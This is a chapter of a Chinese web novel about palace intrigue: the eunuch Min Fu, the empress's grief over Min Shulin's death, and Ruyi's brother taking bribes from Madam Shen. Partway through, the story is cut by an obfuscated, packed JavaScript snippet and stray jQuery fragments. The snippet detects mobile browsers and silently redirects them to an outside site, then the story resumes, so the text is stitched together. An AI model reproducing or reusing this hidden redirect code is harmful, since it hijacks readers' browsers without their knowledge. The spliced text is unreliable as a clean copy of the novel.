闵福从慈宁宫出来后,换上一袭黑衣出了宫。
他从来没有想过会放心不下如意,这个和自己没有任何血缘关系的小侄女。
他永远记得第一次见她的时候,她还是在南都受尽磋磨的小可怜,如今却能设计把香料铺给除了,哪怕他再痛恨如意把自己的计划打乱,可他也不忍心真正责怪他,因为他明白独自一人在别人家里讨生活有多么不容易,何况她还是一个女子。
他飞檐走壁只花了一个时辰就赶到了虞府。
闵福从墙外跳进她院子里,却发现她不在这,房间里是在尤府里面见过的她的丫鬟和他哥哥,他有些气恼,这傻丫头竟然把他们从南都接回来了,还把自己的院子都让了出去!
他气不打一处来,正想过去质问他们如意的去处,却听见他们嘀嘀咕咕在商量着什么。
“相公,咱们若这么做,可就对不起如意一番苦心了!”
“琉璃,如今我们寄人篱下,若不给自己谋出路那以后就要一辈子低人一等,何况伯母如今无依无靠,我们能给她办事,也能给自己拼一条出路来!”
“那这事还是和如意说一声吧,她毕竟救我们一命,还收留了我们。”
“不可,若是被她知道,她肯定不同意,咱们又不是做什么伤天害理的事,没关系的!”
“可是相公,我们若收了沈氏的钱,今后指不定要受制于她,若是有了这个把柄,今后也不好过啊!”
“你这个妇道人家懂什么!带你的孩子去!”
闵福听完觉得有些可笑,这尤家人真是如出一辙的白眼狼啊!
闵福一袭黑衣在虞府摸了半天没找到如意所在,加上这院子防守严格,又有府兵把守,闵福实在不好多逗留,无奈之下只能无功而返。
------------
第二天,皇后娘娘得知闵姝琳的死讯后,大发雷霆。
“蠢货!这个老蠢货!病死在屋子里都不知道叫太医吗!”
她怒吼着,骂了几句后又想起了什么似的,竟然红了眼眶,哽咽着说:“明明前几日还和我说,要我保住你的儿子,如今就这么走了……这算什么……”
闵福跪在地上装得伤心,眼泪淌湿了衣襟。
皇后娘娘抬眼看了看他,突然觉得这孩子属实可怜,“你准备准备,送你母亲出殡吧,太子那边我与他商量商量,等她入殓了,你再过去。”
闵福立马跪在地上诚惶诚恐道:“多谢皇后娘娘开恩!皇后娘娘大恩大德,奴才没齿难忘!”
皇后挥了挥手:“行了,你们都下去吧,我一个人静静。”
下人们听了这话都出去了,留下皇后一个人靠在软榻上,神情落寞。
闵姝琳不是一个聪明人,她的野心和图谋都写在脸上,但她是一个绝对忠诚的人,这么多年她将皇后带大,又替皇后分忧,她们两个人的关系早就不是单纯的主仆,在这人心复杂的后宫之中,皇后和闵姝琳之间早就相处出了几分真心。
皇后靠在软榻上喃喃自语;“嫲嫲,你走了,让我一人面对这些豺狼虎豹,该如何是好!”
闵福因为闵姝琳的死,获得了几日的自由,他拿着皇后娘娘的懿旨以操办闵姝琳葬礼的名义,进出皇宫,丝毫没有人怀疑他。
这天,闵福以闵姝琳去世为由递了帖子到虞府,如意如约而至,与闵福约在了京城外的观音庙的后院,也是如意的母亲闵欣然丧生之地。
如意从马车上下来的时候,闵福正跪在草团上烧着纸钱,棺椁就停放在一旁,大雪纷飞,闵福头上肩上都落满了雪。
如意虽然与闵姝琳没有什么感情,可她是个心软的人,她见闵福落寞的模样,不自觉也有些难过。
闵福回头看了看她,继续烧着纸钱:“你来了,待会就下葬了,你来磕个头吧。”
如意听话的磕了几个头,跪在旁边和闵福一同烧着纸钱,香炉的火苗窜的很高,在寒风中给两人了丝丝温暖。
“闵嬷嬷怎么死的?”如意问。
闵福:“年纪大了,老死的。”
如意低头不语。
“那你接下来有什么打算?”如意再问。
“如意,你相信命吗?”
如意摇摇头。
“十几年前,闵姝琳把我从宫外的观音寺捡回来,如今我又在观音寺送她走,真是可笑。”
如意不语,等着他说完。
“你母亲闵欣然死之前,你知道她说了什么吗?”
如意仍旧扔着纸钱,不说话,火光照在她脸上,看不出有任何表情。
“她说,她要拉你下地狱给她陪葬。”闵福说完又笑,“我觉得她挺有意思的,自己做了这么多伤天害理的事,还想拉别人下地狱。”
如意终于开口说话,“八岁那年,南都战乱,他们一家四口背着行囊准备逃难,唯独落下我一人在家;十岁那年,我得了天花,他们怕我传染给兄妹,让我一人住在柴房里,不吃不喝三天,最终是师父把我接去寿安堂救了我一命;十四岁那年,算了,你也知道……”
闵福笑了:“你之前还处处为自己着想打算,怎的进了虞府反而不会了?”
如意手中一顿,冷笑:“闵公公此话何意?”
闵福止住笑意说:“如意,虞府不是什么洞天福地,你身上背负的责任越多,越容易被人背叛,为自己打算才是对的。”
如意与他对视,她看出闵福眼中的担忧。
“闵公公,多谢你提醒,我如今有了家人朋友,不用再像之前那般为了活命处处图谋,我很满足。”
闵福叹了口气,“如意,我那日想去你院子里看你,听到你兄嫂说他们拿了沈氏的钱……”
“闵公公!”如意打断他,“那是我们家的家事!请你以后不要再突然跑到我家来,要来就正儿八经下拜帖,从正门进来。”
闵福皱眉看着如意,他突然有些看不明白她,心中更是夹杂着失望和无奈。
“知道了,县主,是奴才逾越了。”
两人不再交谈,配合着庙里的和尚尼姑们完成了闵姝琳的下葬入殓等各项仪式。
忙完后,如意回了马车,片刻没有停留的回了城。
闵福看着她决绝的背影,自嘲道:“我处处为她着想,她也未必领情……”
------------------
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16090802|172031||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
--------
如意一身寒气回到虞府,蓝儿连忙给她倒了杯热茶。
“姐姐,怎么样了?”蓝儿关心道
如意握着热茶,缓了半晌,身上才热乎点。
“蓝儿,闵氏母女都死了……”
蓝儿过去抱着她,没有说话,她知道如意此时也心乱如麻。
“蓝儿,你去西苑,把这事告诉他们一声,他们若想去祭拜,就给他们安排一辆马车。”
蓝儿点点头说:“姐姐,我去给你烧些热水,你泡个脚暖和暖和吧,西苑的事,明日再说。”
如意脑海里突然想起闵福的话,又说:“明日你去的时候送五十两银子过去,就说是快过年了给他们置办年节用的。”
蓝儿不解:“姐姐,你这是做什么?他们有手有脚的,不去自己找活干,怎的还要你接济!”
如意无奈苦笑:“你就去吧,好好说话,别提不该提的。”
蓝儿叹了口气,出了门。
不一会儿,蓝儿就端着热水进来了,跟着进来的还有虞清宴。
蓝儿怕如意害羞,就用屏风给她挡了挡,给她脱了鞋袜泡脚,热水茵茵,房间里瞬间水气腾腾。
蓝儿做完这些就出去了,留他们在房间谈话。
“如意,香料铺和林青青的事,瑶儿都告诉我了,谢谢你。”
如意泡着脚,身子终于暖和了些。
“我也是偶然发现的,没有什么好谢的。”
虞清宴清了清嗓子说:“如意,以后不要再涉险了,若是沈宰相和太子发现是你从中作梗……”
如意没有说话,她脑子里还想着闵福的话,总觉得他今日的态度有些奇怪,加上虞清宴今日的态度,她总觉得有什么事要发生。
“虞将军,过完年,我就带着我兄嫂回清平庄了。这些日子承蒙你照顾,给你添麻烦了!”
虞清宴脸色一变,他声音有些颤抖:“你……你要离开了吗?”
如意沉默片刻说:“当初我嫁给你,也是为了我兄嫂能在南都过安稳日子,如今他们都到京城了,我也能护着他们,就不劳烦虞将军操心了。”
虞清宴欲言又止几次,最后深深叹了口气说:“既然你决定了,我也不好阻拦。你先休息,我就回去了。”
如意抬眼看着他的背影,心里突然有些不舒服,他原本以为他会挽留几句,既然没有,那就算了吧。
如意泡完脚,躺在床上反复思索着闵福的话,心神不宁。
还没等如意休息多久,琉璃就来了。
她悄悄进门,见如意在休息,又站了会儿,最后还是开了口。
“如意啊……”
如意并没有睡着,不过她累了,她闷声应着:“怎么了?”
琉璃搓了搓手,十分不不安。
“如意啊……你哥他……财迷心窍……他……收了沈氏一百两银子……沈氏说……要你哥每天给她汇报虞将军的情况……”
如意猛地坐起身,问:“他现在在哪?”
琉璃吓得浑身一抖,眼泪夺眶而出:“如意啊,你快去拦住你哥,他刚出门!我……我……我拦不住他!”